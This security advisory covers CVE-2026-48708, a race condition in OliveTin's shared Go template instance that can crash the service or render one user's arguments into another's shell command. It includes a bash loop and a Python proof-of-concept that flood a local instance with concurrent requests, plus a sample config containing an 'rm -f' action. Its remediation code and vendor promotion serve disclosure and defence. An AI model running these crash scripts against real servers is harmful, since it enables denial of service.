Summary
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
Full technical description
OliveTin's template engine uses a single shared text/template.Template instance (tpl package-level variable in service/internal/tpl/templates.go) across all goroutines. Every action execution calls tpl.Parse(source) followed by t.Execute() on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case, each ExecRequest spawns a goroutine), a race condition occurs: one goroutine's Parse overwrites the template tree while another goroutine is calling Execute, causing:
- Cross-user command contamination: User A's arguments rendered in User B's shell command template
- Go runtime panic: Concurrent map writes in Go's
text/templateinternal structures cause a fatal crash - Incorrect command execution: Template/argument mismatch produces unexpected or dangerous shell commands
CWE
- CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)
- CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)
Affected Versions
- All versions (the shared template has existed since the template system was introduced)
Details
The Shared Template Instance
In service/internal/tpl/templates.go:
var tpl = template.New("tpl").
Option("missingkey=error").
Funcs(template.FuncMap{"Json": jsonFunc})
This is a package-level variable, a single *template.Template shared across the entire process.
Unsafe Parse + Execute Pattern
The parseTemplate function is called for every template rendering:
func parseTemplate(source string, data any) (string, error) {
t, err := tpl.Parse(source) // Modifies shared tpl's internal Tree
if err != nil {
return "", err
}
var sb strings.Builder
err = t.Execute(&sb, data) // Reads from tpl's internal Tree
// ...
}
Critical: tpl.Parse(source) returns the same pointer as tpl (Go's template.Parse modifies the receiver and returns it). So t and tpl are the same object. When two goroutines call parseTemplate concurrently:
Goroutine A (Action "echo {{ .Arguments.name }}"):
1. tpl.Parse("echo {{ .Arguments.name }}") → sets tpl.Tree = TreeA
2. t.Execute(&sb, {Arguments: {"name": "safe"}}) → walks TreeA
Goroutine B (Action "rm -rf {{ .Arguments.path }}"):
1. tpl.Parse("rm -rf {{ .Arguments.path }}") → sets tpl.Tree = TreeB
2. t.Execute(&sb, {Arguments: {"path": "/tmp"}}) → walks TreeB
If the goroutines interleave:
A.Parse(TreeA) → B.Parse(TreeB) → A.Execute(dataA) → executes TreeB with dataA!
Goroutine A would execute rm -rf {{ .Arguments.path }} with dataA, which either errors (missing key) or, if dataA happens to have a path argument, executes with an unintended value.
No Synchronization Exists
A search for any synchronization primitives in the tpl package confirms zero mutex, lock, or atomic operations:
$ grep -r "sync\.\|Mutex\|Lock\|mutex" service/internal/tpl/
(no results)
Concurrent Goroutine Confirmation
In service/internal/executor/executor.go, ExecRequest launches each action in a new goroutine:
func (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {
// ...
go func() {
e.execChain(req) // Calls stepParseArgs → ParseTemplateWithActionContext → parseTemplate
defer wg.Done()
}()
return wg, req.TrackingID
}
The execution chain includes stepParseArgs, which calls ParseTemplateWithActionContext, which calls parseTemplate. Multiple concurrent action executions will race on the shared tpl variable.
Go Runtime Crash Vector
Go's text/template.Parse internally modifies the template's common struct, which contains a tmpl map[string]*Template. In Go, concurrent map writes cause an unrecoverable fatal error:
fatal error: concurrent map writes
goroutine X [running]:
runtime.throw(...)
This is not a panic that can be recovered, it terminates the entire process. Two concurrent Parse calls can trigger this, crashing OliveTin.
Template Contamination Vector
Even without a crash, the race can produce dangerous results:
- User A triggers action:
shell: "echo Hello {{ .Arguments.name }}"withname=Alice - User B triggers action:
shell: "sudo systemctl restart {{ .Arguments.service }}"withservice=nginx - Race occurs: User A's
Executeruns on User B's parsed template - If User A's arguments contain a
servicekey, that value is substituted intosudo systemctl restart {{ .Arguments.service }} - If User A's arguments do NOT contain
service,missingkey=errorcauses an error, but only AFTER the template was already partially evaluated
Call Chain
API Request → ExecRequest (goroutine) → execChain → stepParseArgs
→ ParseTemplateWithActionContext → parseTemplate → tpl.Parse(source) + t.Execute(data)
↑ RACE CONDITION ↑
(shared tpl variable)
PoC
Prerequisites
- OliveTin instance with at least 2 configured actions
- Ability to trigger concurrent action executions
Config
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
actions:
- title: Safe Echo
id: safe-echo
shell: "echo 'Hello {{ .Arguments.name }}'"
arguments:
- name: name
type: ascii
- title: File Delete
id: file-delete
shell: "rm -f /tmp/{{ .Arguments.target }}"
arguments:
- name: target
type: ascii_identifier
Step 1: Trigger concurrent executions
#!/bin/bash
# Fire 50 concurrent requests to maximize race window
for i in $(seq 1 50); do
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H 'Content-Type: application/json' \
-d '{"bindingId":"safe-echo","arguments":[{"name":"name","value":"Alice"}]}' &
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H 'Content-Type: application/json' \
-d '{"bindingId":"file-delete","arguments":[{"name":"target","value":"test"}]}' &
done
wait
echo "All requests sent"
Step 2: Check for crash
# If OliveTin crashed due to concurrent map writes:
curl -s http://127.0.0.1:1337/readyz
# Expected: Connection refused (process crashed)
Step 3: Check logs for contamination
# Look for mismatched template executions in the OliveTin logs
grep -E "missingkey|Error executing template|concurrent" /var/log/olivetin.log
Python PoC, Race Trigger
#!/usr/bin/env python3
"""PoC: Template Race Condition, Cross-Request Contamination
Triggers concurrent action executions to race on the shared
text/template instance in service/internal/tpl/templates.go.
Expected outcomes:
1. Go fatal error: concurrent map writes (process crash)
2. Template error: map has no entry for key (cross-contamination detected)
3. Silent contamination: arguments rendered in wrong template
"""
import requests
import threading
import time
TARGET = "http://127.0.0.1:1337"
THREADS = 20
ITERATIONS = 100
crash_detected = threading.Event()
errors_detected = []
def fire_action_a():
"""Trigger 'safe-echo' action repeatedly."""
for _ in range(ITERATIONS):
if crash_detected.is_set():
break
try:
resp = requests.post(
f"{TARGET}/api/StartAction",
json={
"bindingId": "safe-echo",
"arguments": [{"name": "name", "value": "Alice"}]
},
headers={"Content-Type": "application/json"},
timeout=5
)
if resp.status_code != 200:
errors_detected.append(f"Action A error: {resp.status_code} {resp.text}")
except requests.exceptions.ConnectionError:
crash_detected.set()
errors_detected.append("CONNECTION REFUSED, Server likely crashed!")
break
except Exception as e:
errors_detected.append(f"Action A exception: {e}")
def fire_action_b():
"""Trigger 'file-delete' action repeatedly."""
for _ in range(ITERATIONS):
if crash_detected.is_set():
break
try:
resp = requests.post(
f"{TARGET}/api/StartAction",
json={
"bindingId": "file-delete",
"arguments": [{"name": "target", "value": "test"}]
},
headers={"Content-Type": "application/json"},
timeout=5
)
if resp.status_code != 200:
errors_detected.append(f"Action B error: {resp.status_code} {resp.text}")
except requests.exceptions.ConnectionError:
crash_detected.set()
errors_detected.append("CONNECTION REFUSED, Server likely crashed!")
break
except Exception as e:
errors_detected.append(f"Action B exception: {e}")
if __name__ == "__main__":
print(f"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each")
print(f"[*] Target: {TARGET}")
threads = []
for _ in range(THREADS):
threads.append(threading.Thread(target=fire_action_a))
threads.append(threading.Thread(target=fire_action_b))
start = time.time()
for t in threads:
t.start()
for t in threads:
t.join()
elapsed = time.time() - start
print(f"\n[*] Completed in {elapsed:.1f}s")
print(f"[*] Total requests: {THREADS * 2 * ITERATIONS}")
if crash_detected.is_set():
print("[!] SERVER CRASH DETECTED, concurrent map write panic")
if errors_detected:
print(f"[!] {len(errors_detected)} errors detected:")
for err in errors_detected[:10]:
print(f" - {err}")
else:
print("[*] No errors detected (race window may not have been hit)")
print("[*] Try increasing THREADS/ITERATIONS or checking server logs")
Go Race Detector Verification
If you can run OliveTin with Go's race detector enabled:
cd service
go run -race . &
# Then trigger concurrent requests, the race detector will confirm the data race
Expected output:
WARNING: DATA RACE
Write by goroutine X:
text/template.(*Template).Parse()
service/internal/tpl/templates.go:XX
Previous read by goroutine Y:
text/template.(*Template).Execute()
service/internal/tpl/templates.go:XX
Resources
- Go
text/templatedocumentation: "A Template's Parse method must not be called concurrently" - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
service/internal/tpl/templates.go, sharedtplvariable andparseTemplatefunctionservice/internal/executor/executor.go,ExecRequestgoroutine launch (line ~524)
Impact
- Process Crash (DoS): Concurrent map writes in Go cause an unrecoverable
fatal error, crashing the entire OliveTin service - Cross-User Command Contamination: User A's arguments may be rendered in User B's shell command template, potentially executing commands with wrong/dangerous arguments
- Privilege Escalation via Contamination: If a low-privilege user's arguments contaminate a high-privilege action's template, the result could be unintended command execution
- Data Leakage: Arguments (which may contain secrets like passwords) could be rendered in another user's action output
Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing. Typical impact: TOCTOU exploits, data corruption, or privilege escalation.
CVE-2026-48708 has a CVSS score of 7.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260521225117-d74da9314005); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Create a new template per parse call instead of reusing the package-level singleton:
func parseTemplate(source string, data any) (string, error) { t, err := template.New(""). Option("missingkey=error"). Funcs(template.FuncMap{"Json": jsonFunc}). Parse(source) if err != nil { return "", err } var sb strings.Builder err = t.Execute(&sb, data) // ... }Alternative: Use
template.Must(tpl.Clone())to create a thread-safe copy per call:func parseTemplate(source string, data any) (string, error) { clone, _ := tpl.Clone() t, err := clone.Parse(source) // ... }Alternative: Add a mutex around
parseTemplate(but this serializes all template rendering and hurts performance):var tplMutex sync.Mutex func parseTemplate(source string, data any) (string, error) { tplMutex.Lock() defer tplMutex.Unlock() // ... }Option 1 (new template per call) is the recommended fix, it's simple, safe, and has negligible performance impact.
Frequently Asked Questions
- What is CVE-2026-48708? CVE-2026-48708 is a high-severity race condition vulnerability in github.com/OliveTin/OliveTin (go), affecting versions < 0.0.0-20260521225117-d74da9314005-. It is fixed in 0.0.0-20260521225117-d74da9314005. Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing.
- How severe is CVE-2026-48708? CVE-2026-48708 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/OliveTin/OliveTin are affected by CVE-2026-48708? github.com/OliveTin/OliveTin (go) versions < 0.0.0-20260521225117-d74da9314005- is affected.
- Is there a fix for CVE-2026-48708? Yes. CVE-2026-48708 is fixed in 0.0.0-20260521225117-d74da9314005. Upgrade to this version or later.
- Is CVE-2026-48708 exploitable, and should I be worried? Whether CVE-2026-48708 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-48708 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-48708? Upgrade
github.com/OliveTin/OliveTinto 0.0.0-20260521225117-d74da9314005 or later.